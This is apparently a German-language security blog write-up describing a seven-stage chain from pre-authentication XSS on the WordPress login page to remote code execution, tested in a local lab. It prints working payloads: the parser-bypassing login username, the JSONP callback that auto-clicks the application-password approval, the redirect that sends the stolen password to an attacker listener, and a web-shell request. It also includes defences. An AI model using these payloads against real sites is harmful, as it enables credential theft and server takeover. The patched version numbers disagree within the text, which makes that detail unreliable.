XSS2Shell: Von Null zur Shell bei WordPress

Eine praktische Anleitung zu einer XSS-Kette vor der Authentifizierung, die zu einer Remote-Code-Ausführung im WordPress-Core führen kann, demonstriert in einer lokalen Docker-Umgebung.

Nur von autorisierten Stellen durchzuführende Prüfungen.

Alle nachfolgenden Tests wurden auf einem lokalen Testrechner durchgeführt (WordPress 7.0.2 auf localhost). Wenden Sie diese Techniken nicht auf Systeme an, die Ihnen nicht gehören oder für deren Test Sie keine ausdrückliche Erlaubnis haben.

Zusammenfassung

XSS2Shell ist kein einzelner Fehler – es handelt sich um eine siebenstufige Exploit-Kette, die damit beginnt, dass ein einziges Zeichen (< gefolgt von einem Leerzeichen) zwei verschiedene HTML-Parser auf der Anmeldeseite von WordPress umgeht, und damit endet, dass PHP auf dem Server als www-data ausgeführt wird.

Was macht es gefährlich:

  1. In Stufe 1 ist keinerlei Authentifizierung erforderlich – jeder kann JavaScript auf wp-login.php auslösen.
  2. Die Schwachstelle befindet sich im WordPress-Kern – es handelt sich nicht um ein Plugin; praktisch jede unterstützte Installation seit 2016 ist davon betroffen.
  3. Es nutzt WordPress-eigenen Code – user-profile.js, REST JSONP, Anwendungskennwörter, Plugin-Upload – als Widgets.
  4. Eine vollständige RCE wird von WordPress demonstriert und bestätigt – allerdings muss dazu ein angemeldeter Administrator dazu verleitet werden, einmal darauf zu klicken.

Dieser Artikel führt Sie Schritt für Schritt durch die einzelnen Phasen und enthält dabei Screenshots aus unserem hauseigenen Labor.

Die Laborumgebung

git clone <dieses-Repo> cd xss2shell make up # WordPress 7.0.2 auf http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Jede WordPress-Website stellt die Datei „/wp-login.php“ zur Verfügung. Diese Seite ist der Einstiegspunkt für die gesamte Kette.

Stufe 0: Die Abweichung im Parser (Grundursache)

Wenn die Anmeldung fehlschlägt, gibt WordPress den eingegebenen Benutzernamen in einer Fehlermeldung aus. Der Benutzername durchläuft zwei Sanitizer, die sich darüber nicht einig sind, was ein „Tag“ ist:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Die Nutzlast verwendet ein Leerzeichen nach<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Auf einer anfälligen WordPress-Version 7.0.2 umgeht dies die Bereinigung und gelangt in das Live-DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

In der gepatchten Version von WordPress 7.0.4 wird dieselbe Nutzlast in der Fehlermeldung HTML-escaped – es sind keine aktiven Elemente enthalten.

Dieser Fehler besteht bereits seit WordPress 4.7 (2016) und wurde bei jahrelangen Sicherheitsüberprüfungen übersehen.

Stufe 1: XSS vor der Authentifizierung (keine Anmeldung erforderlich)

Die eingefügten DOM-Knoten entsprechen den Selektoren, nach denen die WordPress-eigene Datei „user-profile.js“ auf der Anmeldeseite sucht (die im Rahmen des Vorgangs zum Zurücksetzen des Passworts geladen wird):

  1. .reset-pass-submit .wp-generate-pw wird beim Laden der Seite automatisch angeklickt
  2. Der Klick wird an den delegierten Handler von #color-picker weitergeleitet
  3. Die Überprüfung „user_id === checkuser_id“ ist erfolgreich, da beide nicht definiert sind.
  4. jQuery sendet eine POST-Anfrage an „ajaxurl“ – aber „ajaxurl“ existiert auf der Anmeldeseite gar nicht…

Es sei denn, wir machen es platt:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Das Element <area id=ajaxurl> wird zu window.ajaxurl. jQuery ruft .toString() auf → gibt href zurück. WordPress REST gibt JSONP zurück → jQuery globalEval() → alert()wird auf dem WordPress-Ursprungsserver ausgeführt.

Stage 1 demo page
Stage 1 demo page

Senden Sie das Formular ab (oder öffnen Sie die Datei „demo/stage1-preauth-xss.html“ und klicken Sie auf „Run Stage 1“):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Auswirkungen allein in dieser Phase: Phishing nach Anmeldedaten auf der echten Domain, Session-Riding, API-Aufrufe derselben Herkunft – ohne jegliche Authentifizierung.

Phase 2: Social Engineering – der Klick des Administrators

In den Stufen 2–7 muss ein angemeldeter Administrator eine vom Angreifer kontrollierte Seite öffnen. Dies ist die Hürde, die den CVSS-Wert unter 10 hält – für gezielte Angriffe ist dies jedoch realistisch.

Der Administrator erhält möglicherweise folgende Meldung: „Ihre Sitzung ist abgelaufen – klicken Sie hier, um sich erneut anzumelden.“

Simulated phishing lure page
Simulated phishing lure page

Wenn man darauf klickt, erscheint die Seite des Angreifers:

  1. Öffnet ein untergeordnetes Popup-Fenster (about:blank)
  2. Leitet das Hauptfenster zur Autorisierungsseite für das Anwendungskennwort von WordPress weiter
  3. Schreibt ein XSS-Formular in das untergeordnete Popup-Fenster und sendet es automatisch an wp-login.php ab
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Stufe 3: Ausführung nach der Same-Origin-Methode (SOME) – automatische Genehmigung

Die XSS-Payload des untergeordneten Fensters ändert den JSONP-Callback von „alert“ in:

window.opener.approve.click

WordPress REST verpackt die Antwort:

/**/window.opener.approve.click({...})

Die Laufzeit löst folgende Abfolge aus: window.opener (übergeordnetes Fenster) → .approve (die Schaltfläche „#approve“ ) → .click(). Die Schaltfläche „Anwendungskennwort genehmigen“ wird automatisch angeklickt – auf dieser Seite ist keine Benutzerinteraktion erforderlich.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Beachten Sie die Callback-URL auf der Seite: Die Anmeldedaten werden an http://127.0.0.1:9090/callback?...&password=[------] gesendet.

Schritt 4: Erfassung des Anwendungspassworts

WordPress generiert ein neues Anwendungskennwort und leitet den Nutzer mit den Anmeldedaten im Abfrage-String an die „success_url“ des Angreifers weiter:

http://127.0.0.1:9090/callback?site_url=http://localhost:9080&user_login=admin&password=XXXX XXXX XXXX XXXX XXXX XXXX

Der Angreifer verfügt nun über die Anmeldedaten für die HTTP-Basic-Authentifizierung für die WordPress-REST-API – aus der Sitzung des Administrators selbst, ohne dass dieser nach dem ersten Klick auf den Link noch etwas eingeben musste.

Schritt 5: Veröffentlichung der vom Angreifer kontrollierten Seite

Mit dem gestohlenen Anwendungskennwort sendet der Angreifer eine POST-Anfrage an /wp-json/wp/v2/pages und veröffentlicht eine Seite mit eingebettetem JavaScript. Administratoren verfügen über die Berechtigung „unfiltered_html“ – Skript-Tags bleiben erhalten.

Schritt 6: Plugin hochladen über die Admin-Sitzung

Das JavaScript des Angreifers (das im Browser des Administrators auf der veröffentlichten Seite ausgeführt wird):

  1. Ruft /wp-admin/plugin-install.php?tab=upload ab, um den Upload-Nonce abzurufen
  2. Lädt eine schädliche ZIP-Datei unter /wp-admin/update.php?action=upload-plugin hoch
  3. WordPress entpackt es in den Ordner „wp-content/plugins/xss2shell/“

Das Plugin muss nicht aktiviert werden. PHP-Dateien im Plugin-Verzeichnis sind direkt über das Web zugänglich.

Schritt 7: Remote-Codeausführung

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Antwort:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Der Angreifer führt nun beliebige Befehle als Webserver-Benutzer aus – liest die Datei „wp-config.php“ (Datenbank-Anmeldedaten), erstellt einen Datenbank-Dump und bewegt sich lateral weiter.

Vollständige Ausgabe des PoC-Terminals:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Die gesamte Kette auf einen Blick

Sequenzdiagramm: Teilnehmer A als Angreifer, Server; Teilnehmer V als Opfer, Browser; Teilnehmer W als WordPress 7.0.2. Anmerkung zu V und W: Der Administrator ist angemeldet. V->>A: Öffnet Phishing-Link (1 Klick). A->>V: Angreifer-HTML + untergeordnetes Popup. V->>W: Hauptfenster → „authorize-application.php“ V->>W: Unterfenster sendet XSS-Payload per POST an „wp-login.php“ W->>V: JSONP führt „window.opener.approve.click“ aus Anmerkung zu V, W: „Genehmigen“-Button wird automatisch angeklickt W->>A: Weiterleitung mit Anwendungspasswort A->>W: REST-API-Seite „publish“ (Basic-Auth) V->>W: Admin besucht Seite → lädt Plugin-ZIP hoch V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Wie gefährlich ist das wirklich?

Was ist garantiert (hohe Zuverlässigkeit)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Was erfordert zusätzliche Bedingungen (RCE-Pfad)?

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Kalibrierung des Schweregrads

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Fazit: Es handelt sich hierbei nicht um eine „wormable“ Zero-Click-RCE wie Log4Shell. Es ist eine hochkomplexe Sicherheitslücke auf Kernel-Ebene, von der etwa 43 % des Internets betroffen sind, wobei:

  • Schon Stufe 1 stellt ein schwerwiegendes XSS-Problem vor der Authentifizierung auf der Anmeldeseite dar.
  • Die gesamte Kette führt dazu, dass ein einziger Klick eines Administrators zur Kompromittierung des Servers führt
  • Die Grundursache (Parser-Unterschied) gilt für jede Codebasis, die mehrere HTML-Parser verwendet.

In der offiziellen Sicherheitswarnung von WordPress heißt es, dass für eine RCE „Bedingungen außerhalb der Kontrolle des Angreifers“ und „erfolgreiches Social Engineering“ erforderlich sind . Das ist richtig – doch die demonstrierte Angriffskette macht diese Bedingungen mit einem einzigen Link realisierbar.

Die gesamte Kette lokal reproduzieren

# 1. Laborumgebung einrichten # 2. Anwendungspasswörter für HTTP aktivieren (nur im Labor) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. PoC-Listener starten python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Im Browser: # a. Melden Sie sich als Admin unter http://localhost:9080/wp-login.php an # b. Öffnen Sie http://127.0.0.1:9091/phishing-sim.html # c. Klicken Sie auf „Open attacker page“ (Popups zulassen) # d. Warten Sie, bis die Terminalausgabe die Shell und „whoami“ anzeigt

Verteidigung

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Der Fix fügt esc_html() zum Benutzernamen im Fehlerpfad der Anmeldung hinzu – wodurch sichergestellt wird, dass die Zeichenfolge als Text behandelt und nicht erneut als HTML geparst wird.

Warum dies für die Sicherheitsforschung von Bedeutung ist

Jedes Glied der Kette ist für sich genommen langweilig:

  • Parser-Differenz → Routineaufgabe mit geringem Schweregrad
  • Auf der Anmeldeseite wurde das falsche Skript geladen → niedrig
  • JSONP-Callback durch regulären Ausdruck validiert → mittelschwer
  • Anwendungskennwort in der Weiterleitungs-URL → medium
  • Das Plugin-Verzeichnis führt PHP-Code ohne Aktivierung aus → bekanntes Design

Zusammengesetzt ergeben sie einen CVSS-Wert von 8,9 und eine Shell.

Die Erkenntnis: Bei der Bewertung von XSS-Befunden sollte man sich fragen : „Was ist bereits auf dieser Seite geladen, und was passiert, wenn ich ihr die richtigen DOM-Knoten übergebe?“ Der Schweregrad hängt von der Kette ab, nicht vom einzelnen Fehler.

Literaturverzeichnis

Region und Sprache auswählen

Region
Sprache
Möchten Sie CyberTested in Aktion erleben?
Kostenlose Demo buchen